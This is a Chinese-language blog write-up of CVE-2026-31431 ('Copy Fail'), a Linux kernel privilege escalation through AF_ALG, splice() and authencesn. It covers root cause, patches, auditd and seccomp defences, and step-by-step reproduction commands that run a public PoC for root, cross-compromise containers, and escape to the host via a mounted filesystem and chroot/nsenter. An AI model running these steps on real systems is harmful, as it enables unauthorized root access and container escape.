Loading ...
CVE-2026-31431(Copy Fail)Linux 内核本地提权漏洞复现与深度分析

漏洞编号: CVE-2026-31431 别名: Copy Fail CVSS: 7.8 (High) 类型: Local Privilege Escalation (LPE) 影响范围: 所有主流 Linux 发行版(内核版本 ~2017-2026) 披露日期: 2026-04-29 发现者: Xint Code (Theori) 官方披露站: https://copy.fail/


目录


一、漏洞概述

Copy Fail 是存在于 Linux 内核加密子系统 algif_aead 模块中的一个逻辑缺陷。该漏洞位于三个子系统的交汇处:

  • AF_ALG — Linux 内核的用户态加密 socket 接口

  • splice() — 零拷贝数据传输系统调用

  • authencesn — 内核中的 AEAD(Authenticated Encryption with Associated Data)加密模板,带序列号支持

漏洞的核心问题:authencesn 模板中的 scratch-write 逻辑缺陷,当通过 AF_ALG socket 和 splice() 系统调用链式触发时,允许非特权本地用户向内核 page cache(页缓存) 写入 4 字节受控数据

利用这一能力,攻击者可以篡改内存中的 SUID 二进制文件(如 /usr/bin/su)的 page cache 副本,从而在执行该 SUID 程序时获得 root 权限。值得注意的是:

  • 磁盘上的文件不受影响,仅内存中的 page cache 副本被篡改

  • 无需竞态条件(race condition),利用过程完全确定性

  • PoC 仅 732 字节,约 10 行 Python 代码即可获取 root

受影响版本: Linux 内核 4.14 ~ 6.19.11

不受影响版本(已修复):

内核分支 修复版本
5.10 5.10.254
5.15 5.15.204
6.1 6.1.170
6.6 6.6.137
6.12 6.12.85
6.18 6.18.22
6.19 6.19.12
7.0+ 7.0 及以上

二、前置知识

2.1 AF_ALG — 内核加密用户态接口

Linux 内核通过 AF_ALG 地址族将内核加密框架暴露给用户态。用户态程序可以:

  1. 创建 AF_ALG 类型的 socket:socket(AF_ALG, SOCK_SEQPACKET, 0)

  2. 通过 bind() 绑定到特定加密算法(如 authencesn

  3. 通过 accept() 创建实际的加密会话

  4. 使用 sendmsg()/recvmsg()splice() 进行数据传输和加密/解密操作

// 典型的 AF_ALG 使用模式
int alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);

struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type = "aead",           // AEAD 类型
    .salg_name = "authencesn(...)" // 使用 authencesn 模板
};
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

int op_sock = accept(alg_sock, NULL, 0);
// 之后通过 op_sock 进行加密/解密操作

2.2 splice() 系统调用

splice() 是 Linux 提供的零拷贝数据传输机制,可以在内核空间直接在两个文件描述符之间移动数据,无需将数据拷贝到用户态:

long splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
            size_t len, unsigned int flags);

关键特性:splice() 操作的页面直接来自 page cache,数据在内核中完成传输。

2.3 Page Cache(页缓存)

Linux 内核将磁盘文件的内容缓存在内存中,称为 page cache。当程序读取文件时:

  1. 内核首先检查 page cache 中是否已有该文件的页面

  2. 如有,直接返回(避免磁盘 I/O)

  3. 如无,从磁盘读取并缓存

关键安全属性: 对于同一个文件,内核通常维护单一 page cache 实例。所有进程共享同一份 page cache 数据。这意味着如果一个进程修改了 page cache 中的页面内容,所有其他进程看到的都是被修改后的数据。

2.4 AEAD 与 in-place 操作

AEAD(Authenticated Encryption with Associated Data)同时提供加密和认证。

  • Out-of-place 操作: 加密/解密时,输入和输出使用不同的缓冲区,互不影响

  • In-place 操作: 加密/解密直接在输入缓冲区上进行,输出覆盖输入(性能优化)

2017 年的 commit 72548b093ee3algif_aead 的 AEAD 操作从 out-of-place 切换为 in-place,正是这一”优化”引入了漏洞。

2.5 SUID 机制

Linux 中,设置了 SUID 位的可执行文件在执行时会以文件所有者的权限运行。例如 /usr/bin/su 的所有者是 root,设置了 SUID 位,因此任何用户执行 su 时,进程都以 root 权限运行。


三、漏洞根因深度分析

3.1 三个子系统的交汇

漏洞发生在 AF_ALG、splice() 和 authencesn 三个子系统的交互处:

用户态攻击者
    │
    ├── 1. 创建 AF_ALG socket,选择 authencesn 算法
    │
    ├── 2. 构造管道(pipe),写入恶意数据
    │
    ├── 3. splice(pipe_fd, ..., alg_sock, ..., len, 0)
    │       │
    │       │  splice 将 pipe 中的页面直接传递给 AF_ALG
    │       │  (零拷贝,页面仍然是 page cache 中的原始页面)
    │       ▼
    │   algif_aead 收到数据,触发 AEAD 操作
    │       │
    │       │  authencesn 模板执行 AEAD 处理
    │       │  由于 in-place 优化,结果直接写回输入页面
    │       ▼
    │   但此时输入页面是 pipe 的页面?不——
    │   splice 的 zero-copy 语义意味着同一个物理页面
    │   可能被映射到 page cache 中的其他文件!
    │       │
    │       ▼
    └── 4. 受控的 4 字节被写入目标文件的 page cache 页面
        │
        ▼
    目标:/usr/bin/su 的 page cache 副本被篡改
    下次执行 su 时,内核使用被篡改的 page cache → root shell

3.2 根因:In-place AEAD + splice 零拷贝的组合效应

splice() 将数据传递给 AF_ALG socket 时:

  1. splice() 不拷贝数据,而是传递 page cache 页面的引用

  2. algif_aead 在 in-place 模式下,AEAD 操作的输出直接覆盖输入缓冲区

  3. authencesn 模板在处理过程中有一个 scratch buffer 的写入逻辑,在特定条件下(构造的输入),这个写入会直接作用于传入的 page cache 页面

问题在于:splice() 传递的页面可能属于任何文件在 page cache 中的映射。通过精心构造操作序列,攻击者可以使 authencesn 的 scratch-write 操作作用于目标文件(如 /usr/bin/su)在 page cache 中的物理页面。

3.3 攻击能力

通过此漏洞,攻击者获得:

  • 4 字节任意写入到 page cache 中的页面

  • 写入内容受攻击者控制

  • 写入位置在页面内的偏移受攻击者控制

  • 完全确定性,无竞态条件


四、漏洞复现

4.1 环境检查

使用虚拟机,切勿在生产环境测试。以下以 Kali Linux 为例:

# 确认内核版本(需为未修补版本,约 4.10 ~ 6.19 早期)
uname -r
# 6.19.11+kali-amd64

4.2 创建测试用户

# 以 root 创建普通用户
sudo useradd -m -s /bin/bash testuser
sudo passwd testuser

# 切换到测试用户
su - testuser

4.3 运行 Exp

# 克隆 PoC
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git
cd copy-fail-CVE-2026-31431

# 以普通用户执行
python3 copy_fail_exp.py

# 提权成功:
whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

 

PoC 执行流程:打开 /usr/bin/su → 循环调用 c(f, offset, 4字节payload) 向 su 的 page cache 写入 shellcode → 执行被篡改的 su → root shell。整个过程无需竞态,完全确定性。

4.4 容器逃逸验证

page cache 按 inode 索引。容器内的 /usr/bin/su 来自 OverlayFS 镜像层,与宿主机的 /usr/bin/su 是不同的 inode、不同的 page cache 条目。因此:

  • 同镜像容器之间可以互相提权(共享 OverlayFS lower layer,同一 inode)

  • 容器直接逃逸到宿主机不行,除非挂载了宿主机文件系统

同镜像容器交叉提权

两个使用相同 base image 的容器,OverlayFS lower layer 中的文件是同一个 inode,共享 page cache:

# 终端 1:启动容器 A
docker run -it --name containerA ubuntu:22.04 bash
# 容器 A 内:
apt update && apt install -y python3 git
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git
cd copy-fail-CVE-2026-31431
python3 copy_fail_exp.py
# → 篡改 overlay lower layer 中 su 的 page cache
# → 容器 A 内获得 root
# 终端 2:启动容器 B(相同 image)
docker run -it --name containerB ubuntu:22.04 bash
# 容器 B 内执行 su
su
# → 加载的是同一条被篡改的 page cache → 同样获得 root
┌──────────────────────────────────────────────┐
│                    宿主机                      │
│                                               │
│  OverlayFS Lower Layer (ubuntu:22.04 image)    │
│  /usr/bin/su 的 page cache [被篡改]            │
│         ▲                ▲                    │
│         │                │                    │
│  ┌──────┴───────┐  ┌─────┴───────┐            │
│  │  容器 A       │  │  容器 B      │            │
│  │  exp → root  │  │  su → root  │            │
│  └──────────────┘  └─────────────┘            │
│                                               │
│  宿主机 /usr/bin/su — 不同 inode,不受影响      │
└──────────────────────────────────────────────┘

 

挂载宿主机文件系统实现逃逸

通过 -v /:/host 挂载宿主机根目录后,/host/usr/bin/su 与宿主机的 /usr/bin/su 是同一个 inode,共享 page cache。PoC 只需改两处路径:

# 原始
f=g.open("/usr/bin/su",0)
# ...
g.system("su")

# 改为
f=g.open("/host/usr/bin/su",0)
# ...
g.system("/host/usr/bin/su")

验证步骤:

# 宿主机:启动容器,挂载根文件系统
docker run -it -v /:/host ubuntu:22.04 bash

# 容器内
apt update && apt install -y python3 git
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git
cd copy-fail-CVE-2026-31431

# 改路径(两处:open 和 system)
sed -i 's|/usr/bin/su|/host/usr/bin/su|g' copy_fail_exp.py
sed -i 's|g.system("su")|g.system("/host/usr/bin/su")|' copy_fail_exp.py

# 执行 → 拿到容器内 UID 0 shell
python3 copy_fail_exp.py

# 此时你在容器 namespace 内,UID=0,可以读写 /host 上的宿主机文件
# 但 hostname、PID、网络仍然是容器的

# 切换到宿主机 namespace(利用已拿到的 root + 挂载的宿主机 FS)
chroot /host /bin/bash
# 现在是真正的宿主机 shell

# 验证
cat /etc/hostname   # 宿主机的主机名

 

为什么需要 chroot 执行 /host/usr/bin/su 拿到的 shell 虽然 UID=0,但仍在容器的 namespace 里(PID、mount、network 隔离)。通过 chroot /host 切换根文件系统到宿主机,才是真正的宿主机环境。也可以用 nsenter -t 1 -m -u -i -n -p -- /bin/bash 直接进入宿主机 PID 1 的 namespace。

总结:

场景 是否可行 原因
容器内普通提权 可以 篡改容器内 su 的 page cache
同镜像容器交叉提权 可以 OverlayFS lower layer 共享 inode
容器 → 宿主机逃逸 不可以 inode 不同,page cache 隔离
容器 → 宿主机(挂载宿主机 FS) 可以 通过挂载点访问宿主机 inode

五、内核源码级分析

5.1 漏洞引入:commit 72548b093ee3

2017 年的 commit 72548b093ee3crypto/algif_aead.c 进行了修改,将 AEAD 操作从 out-of-place 切换为 in-place

// crypto/algif_aead.c — 修改前(out-of-place,安全)
// 加密/解密时使用独立的输出缓冲区
// 输入 page cache 页面不被修改

// crypto/algif_aead.c — 修改后(in-place,引入漏洞)
// AEAD 操作直接在输入缓冲区上进行
// 当输入来自 splice() 的 page cache 页面时,
// AEAD 的中间结果(scratch write)会修改原始 page cache 页面

5.2 algif_aead.c 中的关键数据流

用户态 splice()
       │
       ▼
splice_to_socket()
       │
       ├── 从 pipe 中获取 page cache 页面(零拷贝)
       │
       ▼
algif_aead_sendmsg()  [crypto/algif_aead.c]
       │
       ├── 将 page cache 页面作为 AEAD 输入
       │
       ▼
crypto_aead_decrypt() / crypto_aead_encrypt()
       │
       ├── 进入 authencesn 模板的处理流程
       │
       ▼
authencesn 处理流程 [crypto/authencesn.c]
       │
       ├── 在 in-place 模式下,scratch buffer 操作
       │   直接作用于输入页面
       │
       ├── 此时输入页面是 splice() 传递的
       │   page cache 页面(可能属于 /usr/bin/su)
       │
       ▼
    → 4 字节受控数据被写入 /usr/bin/su 的 page cache 页面

5.3 authencesn scratch-write 机制

authencesn 是一个组合加密模板,通常形式为 authencesn(authenc(hmac(sha256), cbc(aes)))。其处理流程:

  1. 认证阶段: HMAC 计算认证标签

  2. 加密/解密阶段: CBC 模式 AES 加密/解密

  3. Scratch buffer: 在处理过程中,需要一个临时缓冲区来保存中间结果

in-place 模式下,这个 scratch buffer 的写入目标不是独立的内核缓冲区,而是直接在输入页面上进行。当输入页面来自 splice() 传递的 page cache 页面时,这个写入就直接修改了 page cache。

5.4 splice() 的零拷贝语义与 page cache 关联

// splice() 将 pipe 中的页面直接传递给目标 fd
// 对于 AF_ALG socket,splice 的实现路径为:
//   splice() → do_splice() → splice_pipe_to_pipe() / splice_to_socket()
//
// pipe 中的页面可能来自:
//   1. 用户态 write() 写入的页面(pipe buffer)
//   2. 其他文件的 page cache 页面(通过 splice 从文件到 pipe)
//
// 关键:当 splice 将页面从 pipe 传给 AF_ALG 时,
// algif_aead 并不知道这些页面可能同时被映射到其他文件的 page cache

5.5 漏洞利用的内存布局

物理内存
┌──────────────────────────────────────────────────────┐
│                                                      │
│  Page Cache                                          │
│  ┌──────────────────────────────────────────┐        │
│  │ /usr/bin/su 的页面                       │        │
│  │ ┌──────┬──────┬──────┬──────┬─────┐     │        │
│  │ │ ELF  │ .text│ ...  │目标偏移│ ... │     │        │
│  │ │Header│ 段   │      │ 位置  │     │     │        │
│  │ └──────┴──────┴──────┴──────┴─────┘     │        │
│  │                        ▲                 │        │
│  │                        │                 │        │
│  │              authencesn scratch-write     │        │
│  │              写入 4 字节到此处            │        │
│  │                        │                 │        │
│  └────────────────────────│─────────────────┘        │
│                          │                           │
│  Pipe Buffer             │                           │
│  ┌───────────────────────│─────────────────┐        │
│  │ 攻击者构造的 AEAD 数据 → splice() ──────┘        │
│  └─────────────────────────────────────────┘        │
│                                                      │
└──────────────────────────────────────────────────────┘

执行 su 时:
  内核查找 /usr/bin/su 的 page cache → 找到被篡改的页面
  → 加载并执行被修改的代码 → root shell

5.6 为什么只有 4 字节可控

authencesn 的 scratch-write 操作在 AEAD 处理过程中只会向特定位置写入有限的字节数。通过精确控制:

  • AEAD 输入的长度和对齐

  • 加密算法的参数(密钥、IV)

  • 认证标签的位置

攻击者可以精确控制这 4 字节的内容和在页面内的偏移。4 字节虽然不多,但足以:

  • 在 x86-64 上写入一条 jmpcall 指令(5 字节以内的短跳转,结合对齐可以做到 4 字节)

  • 修改函数指针

  • 修改 GOT 表项(如果二进制不是完全 RELRO)


六、补丁分析

6.1 修复方案

修复方案是回退 in-place AEAD 操作,恢复到安全的 out-of-place 模式:

  • 上游修复 commit: 在 git.kernel.orgtorvalds/linux 仓库中

  • 相关 stable kernel commit: a664bf3d603d / fafe0fa2995a

核心变更:

// crypto/algif_aead.c — 补丁后
// 确保始终使用 out-of-place 操作
// 即使 splice() 传入的是 page cache 页面,
// AEAD 操作在一个独立的临时缓冲区中进行,
// 结果再拷贝回目标位置,而不是直接在输入页面上操作

6.2 补丁验证

# 检查内核是否已修补
uname -r
# 确认版本包含修补 commit

# 或直接检查内核源码
grep -r "in-place\|inplace\|out-of-place" crypto/algif_aead.c

# 修补后的内核应使用 out-of-place 模式

七、检测与防御

7.1 临时缓解措施

如果无法立即升级内核,可以禁用 algif_aead 模块:

# 方法 1: 禁用模块加载
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null

# 方法 2: 通过 sysctl(如果内核支持)
# 注意:此选项可能不是所有内核版本都有
echo 0 | sudo tee /proc/sys/kernel/crypto_af_alg 2>/dev/null

7.2 检测利用行为

可以利用以下方式检测 Copy Fail 的利用尝试:

# 1. 监控 AF_ALG socket 创建(auditd 规则)
auditctl -a exit,always -F arch=b64 -S socket -F a0=38 -F a1=5 -k af_alg_socket
# AF_ALG = 38, SOCK_SEQPACKET = 5

# 2. 监控 algif_aead 模块加载
auditctl -a exit,always -F arch=b64 -S finit_module -S init_module -k kernel_module_load

# 3. 使用 eBPF 跟踪 splice + AF_ALG 的组合调用
# 参考 Elastic Security 的检测规则:
# https://www.elastic.co/guide/en/security/8.19/potential-copy-fail-cve-2026-31431-exploitation-via-af-alg-socket.html

7.3 容器环境防护

# 1. 限制容器的 AF_ALG 访问(seccomp profile)
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "op": "SCMP_CMP_EQ",
          "value": 38
        }
      ]
    }
  ]
}

# 2. 避免使用 --privileged 运行容器

# 3. 使用只读文件系统或 immutable 属性保护关键 SUID 二进制
sudo chattr +i /usr/bin/su /usr/bin/sudo

7.4 长期建议

  1. 及时更新内核 — 订阅发行版的安全公告,尽快应用安全补丁

  2. 最小权限原则 — 限制不必要的本地用户访问

  3. 考虑禁用 AF_ALG — 如果业务不依赖内核加密用户态接口,建议禁用。社区对此接口的攻击面有持续争议

  4. 容器加固 — 使用非特权容器、seccomp profile、只读根文件系统


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
改为 -->